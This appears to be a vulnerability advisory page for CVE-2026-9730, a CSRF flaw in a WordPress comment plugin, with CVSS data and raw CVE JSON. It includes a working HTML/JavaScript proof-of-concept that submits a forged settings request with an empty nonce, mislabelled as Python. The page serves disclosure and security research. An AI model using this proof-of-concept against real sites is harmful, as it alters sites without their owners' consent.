Security Vulnerability Report
中文
CVE-2026-9730 CVSS 4.3 MEDIUM

CVE-2026-9730

Published: 2026-06-02 09:16:18
Last Modified: 2026-06-02 13:03:31

Description

The Remove NoFollow Commenter URL plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the gmz_comment_settings_save function. This makes it possible for unauthenticated attackers to modify the plugin's comment-display setting via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Remove NoFollow Commenter URL WordPress Plugin <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2026-9730 --> <!-- This PoC exploits the missing nonce validation in gmz_comment_settings_save function --> <!DOCTYPE html> <html> <head> <title>CSRF Exploit - CVE-2026-9730</title> </head> <body> <h1>CSRF Attack PoC for Remove NoFollow Commenter URL Plugin</h1> <p>Click the button below to trigger the forged request:</p> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrfForm"> <!-- Required WordPress admin-post parameters --> <input type="hidden" name="action" value="gmz_comment_settings_save"> <!-- Plugin settings that will be modified --> <input type="hidden" name="gmz_nofollow_remove" value="1"> <input type="hidden" name="gmz_settings_nonce" value=""> <!-- Additional hidden fields that may be required --> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=gmz-nofollow"> <button type="submit" onclick="this.disabled=true; this.innerText='Submitting...';">Click Me</button> </form> <script> // Auto-submit form on page load (for demonstration purposes) // document.getElementById('csrfForm').submit(); // Alternative: Use fetch API for more stealthy attack async function exploit() { const targetUrl = 'http://target-site.com/wp-admin/admin-post.php'; const formData = new URLSearchParams(); formData.append('action', 'gmz_comment_settings_save'); formData.append('gmz_nofollow_remove', '1'); formData.append('gmz_settings_nonce', ''); // Note: This will only work if the admin is logged in // and visits this page (CSRF requires browser context) await fetch(targetUrl, { method: 'POST', mode: 'no-cors', // Use no-cors to avoid CORS issues body: formData }); console.log('CSRF request sent'); } </script> <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p> <p><strong>Target:</strong> WordPress sites with Remove NoFollow Commenter URL plugin <= 1.0</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9730", "sourceIdentifier": "[email protected]", "published": "2026-06-02T09:16:17.567", "lastModified": "2026-06-02T13:03:31.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Remove NoFollow Commenter URL plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the gmz_comment_settings_save function. This makes it possible for unauthenticated attackers to modify the plugin's comment-display setting via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L42", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c47e170f-f51e-400a-97f3-4da034c193a9?source=cve", "source": "[email protected]"}]}}